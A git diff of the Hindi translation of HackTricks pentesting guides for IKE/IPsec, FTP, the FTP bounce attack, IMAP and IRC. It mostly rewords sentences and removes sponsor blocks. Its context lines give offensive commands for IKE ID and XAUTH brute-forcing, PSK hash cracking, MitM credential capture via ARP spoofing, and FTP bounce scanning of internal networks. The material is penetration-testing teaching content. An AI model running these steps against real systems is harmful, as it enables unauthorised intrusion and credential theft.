(is a combination of the other 2 dicts without repetitions): ### Iker के साथ ID का ब्रूटफोर्सिंग -[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी संभावित समूह नामों को ब्रूटफोर्स करने के लिए **ike-scan** का उपयोग करता है। यह **ike-scan के आउटपुट के आधार पर एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है। +[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी **ike-scan** का उपयोग करके संभावित समूह नामों का ब्रूटफोर्सिंग करता है। यह **ike-scan** के आउटपुट के आधार पर **एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है। ### ikeforce के साथ ID का ब्रूटफोर्सिंग -[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **IDs को ब्रूटफोर्स करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का लाभ उठाने की कोशिश करेगा** जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)। +[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **ID का ब्रूटफोर्सिंग करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का शोषण करने की कोशिश करेगा** जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)। -डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने की रणनीति निर्धारित की जा सके। +डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके। -* **पहली विधि** समूह नामों को ब्रूट-फोर्स करने के लिए **Dead Peer Detection DPD** की जानकारी की **खोज** करना है जो Cisco सिस्टमों में होती है (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)। +* **पहली विधि** समूह नामों को **खोजने** के द्वारा ब्रूट-फोर्स करना है **Dead Peer Detection DPD** की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)। * उपलब्ध **दूसरी विधि** यह है कि **प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें** क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं। -* **तीसरी विधि** **गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज** करना है। +* **तीसरी विधि** **गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज करने** पर आधारित है। * अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः नहीं भेजता है, तो **ikeforce** सर्वर को ब्रूटफोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।\ -स्पष्ट रूप से, ID को ब्रूटफोर्स करने का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH को ब्रूटफोर्स करना होगा (यदि यह सक्षम है)। +स्पष्ट है, ID का ब्रूटफोर्सिंग करने का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH का ब्रूटफोर्स करना होगा (यदि यह सक्षम है)। यदि आपने एक विशिष्ट परिवर्तन खोजा है तो इसे ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)। ```bash @@ -191,7 +183,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` -The hash _hash.txt_ के अंदर सहेजा जाएगा। +हैश _hash.txt_ के अंदर सहेजा जाएगा। आप **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) का उपयोग करते हुए) और **hashcat** का उपयोग करके हैश को **crack** कर सकते हैं: ```bash @@ -199,21 +191,21 @@ psk-crack -d psk.txt ``` ## **XAuth** -**आक्रामक मोड IKE** को **पूर्व-शेयर की (PSK)** के साथ मिलाकर **समूह प्रमाणीकरण** उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (विस्तारित प्रमाणीकरण)** द्वारा बढ़ाया गया है, जो **उपयोगकर्ता प्रमाणीकरण** की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण आमतौर पर **Microsoft Active Directory**, **RADIUS**, या समान प्रणालियों जैसी सेवाओं का उपयोग करता है। +**आक्रामक मोड IKE** को **पूर्व-शेयर की (PSK)** के साथ मिलाकर **समूह प्रमाणीकरण** उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (विस्तारित प्रमाणीकरण)** द्वारा बढ़ाया गया है, जो **उपयोगकर्ता प्रमाणीकरण** की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण सामान्यतः **Microsoft Active Directory**, **RADIUS**, या तुलनीय प्रणालियों जैसी सेवाओं का उपयोग करता है। -**IKEv2** में संक्रमण करते समय, एक उल्लेखनीय बदलाव देखा जाता है जहाँ **EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है। +**IKEv2** में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ **EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को रेखांकित करता है। ### स्थानीय नेटवर्क MitM क्रेडेंशियल कैप्चर करने के लिए -तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [अधिक जानकारी](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN अंत बिंदु के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा: +तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [अधिक जानकारी](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN एंडपॉइंट के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` Also, using IPSec try to make a MitM attack and block all traffic to port 500, if the IPSec tunnel cannot be established maybe the traffic will be sent in clear. -### Brute-forcing XAUTH username ad password with ikeforce +### Brute-forcing XAUTH username और password with ikeforce -To brute force the **XAUTH** (जब आप एक मान्य समूह नाम **id** और **psk** जानते हैं) you can use a username or list of usernames and a list o passwords: +To brute force the **XAUTH** (when you know a valid group name **id** and the **psk**) you can use a username or list of usernames and a list o passwords: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` @@ -260,11 +252,6 @@ VPN कॉन्फ़िगर करते समय प्लेसहोल * `port:500 IKE` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md index c8f3e5205..d5ca58c5f 100644 --- a/network-services-pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Basic Information -**फाइल ट्रांसफर प्रोटोकॉल (FTP)** एक मानक प्रोटोकॉल के रूप में कार्य करता है जो एक कंप्यूटर नेटवर्क के माध्यम से एक सर्वर और एक क्लाइंट के बीच फ़ाइलों के स्थानांतरण के लिए है।\ +**फाइल ट्रांसफर प्रोटोकॉल (FTP)** एक मानक प्रोटोकॉल है जो एक सर्वर और एक क्लाइंट के बीच कंप्यूटर नेटवर्क पर फाइल ट्रांसफर के लिए कार्य करता है।\ यह एक **सादा-टेक्स्ट** प्रोटोकॉल है जो **नया लाइन कैरेक्टर `0x0d 0x0a`** का उपयोग करता है, इसलिए कभी-कभी आपको **`telnet`** या **`nc -C`** का उपयोग करके **कनेक्ट** करने की आवश्यकता होती है। **डिफ़ॉल्ट पोर्ट:** 21 @@ -54,7 +46,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **कैस nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ``` -### FTP के लिए starttls का उपयोग करके कनेक्ट करें +### STARTTLS का उपयोग करके FTP से कनेक्ट करें ``` lftp lftp :~> set ftp:ssl-force true @@ -132,7 +124,7 @@ nmap --script ftp-* -p 21 ``` ## Browser connection -आप एक ब्राउज़र (जैसे Firefox) का उपयोग करके एक FTP सर्वर से एक URL के माध्यम से कनेक्ट कर सकते हैं: +आप एक ब्राउज़र (जैसे Firefox) का उपयोग करके एक FTP सर्वर से कनेक्ट कर सकते हैं, एक URL का उपयोग करके जैसे: ```bash ftp://anonymous:anonymous@10.10.10.98 ``` @@ -152,7 +144,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ * **`USER username`** * **`PASS password`** * **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं -* \*\*`PORT 127,0,0,1,0,80`\*\*यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां दशमलव में पोर्ट के रूप में रखना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)। +* \*\*`PORT 127,0,0,1,0,80`\*\*यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां दशमलव में पोर्ट के रूप में रखना होगा या 5वें और 6वें का उपयोग करके पोर्ट को हेक्स में व्यक्त करना होगा_)। * \*\*`EPRT |2|127.0.0.1|80|`\*\*यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**। * **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा * **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो) @@ -177,7 +169,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ सिद्धांत सरल है: 1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा -2. **`REST X` का उपयोग करें ताकि आप उन अक्षरों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा) +2. **आप जिस वर्ण को भेजना नहीं चाहते हैं उसे भेजने से बचने के लिए `REST X` का उपयोग करें** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालने की आवश्यकता थी) 3. **मनमाने सर्वर और सेवा से कनेक्ट करने के लिए `PORT` का उपयोग करें** 4. **सर्वर को सहेजे गए अनुरोध को भेजने के लिए `RETR` का उपयोग करें।** @@ -190,9 +182,9 @@ posts.txt {% endfile %} * प्रयास करें कि **प्रोटोकॉल से संबंधित "जंक" डेटा के साथ अनुरोध को भरें** (FTP से बात करते समय शायद केवल जंक कमांड या फ़ाइल प्राप्त करने के लिए `RETR` निर्देश को दोहराना) -* बस **अनुरोध को बहुत सारे शून्य अक्षरों या अन्य के साथ भरें** (पंक्तियों में विभाजित या नहीं) +* बस **अनुरोध को बहुत सारे शून्य वर्णों या अन्य के साथ भरें** (पंक्तियों में विभाजित या नहीं) -वैसे भी, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके एक FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर करें।](ftp-bounce-download-2oftp-file.md) +वैसे भी, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके एक FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर किया जा सकता है।](ftp-bounce-download-2oftp-file.md) ## Filezilla Server Vulnerability @@ -224,15 +216,6 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et * `ftp` * `port:21` -*** - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## HackTricks Automatic Commands ``` @@ -295,7 +278,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। diff --git a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index 732396a91..7c56575ca 100644 --- a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -15,31 +15,23 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## FTP Bounce - Scanning ### Manual 1. कमजोर FTP से कनेक्ट करें -2. **`PORT`** या **`EPRT`** (लेकिन केवल इनमें से 1) का उपयोग करें ताकि यह _\_ के साथ कनेक्शन स्थापित कर सके जिसे आप स्कैन करना चाहते हैं: +2. _\_ के साथ कनेक्शन स्थापित करने के लिए **`PORT`** या **`EPRT`** (लेकिन केवल इनमें से 1) का उपयोग करें: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` 3. **`LIST`** का उपयोग करें (यह केवल जुड़े हुए _\_ को FTP फ़ोल्डर में वर्तमान फ़ाइलों की सूची भेजेगा) और संभावित प्रतिक्रियाओं की जांच करें: `150 File status okay` (इसका मतलब है कि पोर्ट खुला है) या `425 No connection established` (इसका मतलब है कि पोर्ट बंद है) -1. `LIST` के बजाय आप **`RETR /file/in/ftp`** का भी उपयोग कर सकते हैं और समान `Open/Close` प्रतिक्रियाओं की तलाश कर सकते हैं। +4. `LIST` के बजाय आप **`RETR /file/in/ftp`** का भी उपयोग कर सकते हैं और समान `Open/Close` प्रतिक्रियाओं की तलाश कर सकते हैं। उदाहरण **PORT** का उपयोग करते हुए (172.32.80.80 का पोर्ट 8080 खुला है और पोर्ट 7777 बंद है): ![](<../../.gitbook/assets/image (241).png>) -उसी उदाहरण में **`EPRT`** का उपयोग करते हुए (चित्र में प्रमाणीकरण छोड़ दिया गया): +उसी उदाहरण में **`EPRT`** का उपयोग करते हुए (चित्र में प्रमाणीकरण छोड़ दिया गया है): ![](<../../.gitbook/assets/image (539).png>) @@ -53,22 +45,16 @@ nmap -b :@ nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443 ``` -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
diff --git a/network-services-pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md index 0ff8e0731..efc4512ed 100644 --- a/network-services-pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## इंटरनेट संदेश पहुंच प्रोटोकॉल -**इंटरनेट संदेश पहुंच प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुंचने** की अनुमति देना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। वास्तव में, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत उपकरण पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल की जांच करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए। +**इंटरनेट संदेश पहुंच प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुंचने** की अनुमति देना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। मूल रूप से, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत उपकरण पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल की जांच करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए। डिफ़ॉल्ट रूप से, IMAP प्रोटोकॉल दो पोर्ट पर काम करता है: @@ -112,7 +104,7 @@ apt install evolution ### CURL -बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ विवरण में हल्का है, इसलिए सटीक विवरण के लिए [स्रोत](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करना अनुशंसित है। +बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ विवरण में हल्का है इसलिए सटीक विवरण के लिए [स्रोत](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करना अनुशंसित है। 1. मेलबॉक्स की सूची बनाना (imap कमांड `LIST "" "*"`) ```bash @@ -134,9 +126,9 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ```bash curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` -The mail index will be the same index returned from the search operation. +The mail index वही इंडेक्स होगा जो खोज ऑपरेशन से वापस किया गया है। -यह भी संभव है कि संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग किया जाए, हालाँकि यह कम सुविधाजनक है क्योंकि खोज आदेश को मैन्युअल रूप से स्वरूपित करने की आवश्यकता होती है। उदाहरण के लिए: +यह संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग करना भी संभव है, हालाँकि यह कम सुविधाजनक है क्योंकि खोज कमांड को मैन्युअल रूप से फॉर्मेट करना आवश्यक है। उदाहरण के लिए ```bash curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass @@ -157,12 +149,6 @@ done * `port:143 CAPABILITY` * `port:993 CAPABILITY` -**ट्राई हार्ड सुरक्षा समूह** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## HackTricks स्वचालित आदेश ``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. @@ -203,7 +189,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS { * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/pentesting-irc.md b/network-services-pentesting/pentesting-irc.md index edecad710..7e57a7100 100644 --- a/network-services-pentesting/pentesting-irc.md +++ b/network-services-pentesting/pentesting-irc.md @@ -15,27 +15,14 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Basic Information -IRC, प्रारंभ में एक **सादा पाठ प्रोटोकॉल**, को IANA द्वारा **194/TCP** आवंटित किया गया था लेकिन इसे आमतौर पर **6667/TCP** और समान पोर्ट पर चलाया जाता है ताकि संचालन के लिए **रूट विशेषाधिकार** की आवश्यकता न हो। +IRC, प्रारंभ में एक **सादा पाठ प्रोटोकॉल**, को IANA द्वारा **194/TCP** आवंटित किया गया था लेकिन इसे सामान्यतः **6667/TCP** और समान पोर्ट्स पर चलाया जाता है ताकि संचालन के लिए **रूट विशेषाधिकार** की आवश्यकता न हो। -एक **निकनेम** ही एक सर्वर से कनेक्ट करने के लिए आवश्यक है। कनेक्शन के बाद, सर्वर उपयोगकर्ता के IP पर एक रिवर्स-DNS लुकअप करता है। +एक **उपयोगकर्ता नाम** ही एक सर्वर से कनेक्ट करने के लिए आवश्यक है। कनेक्शन के बाद, सर्वर उपयोगकर्ता के IP पर एक रिवर्स-DNS लुकअप करता है। -उपयोगकर्ताओं को **ऑपरेटर** में विभाजित किया जाता है, जिन्हें अधिक पहुंच के लिए एक **यूजरनेम** और **पासवर्ड** की आवश्यकता होती है, और नियमित **उपयोगकर्ता**। ऑपरेटरों के पास विभिन्न स्तर के विशेषाधिकार होते हैं, जिसमें शीर्ष पर प्रशासक होते हैं। +उपयोगकर्ताओं को **ऑपरेटरों** में विभाजित किया जाता है, जिन्हें अधिक पहुंच के लिए एक **उपयोगकर्ता नाम** और **पासवर्ड** की आवश्यकता होती है, और नियमित **उपयोगकर्ताओं** में। ऑपरेटरों के पास विभिन्न स्तर के विशेषाधिकार होते हैं, जिसमें प्रशासक शीर्ष पर होते हैं। **डिफ़ॉल्ट पोर्ट:** 194, 6667, 6660-7000 ``` @@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 * `आपका होस्टनेम देखना` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **चोरी करने वाले मालवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index c35f7ff8c..2ec10a92a 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -15,19 +15,11 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Basic Information From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): -> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं।\\ +> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर चल सकते हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर।\\ **डिफ़ॉल्ट 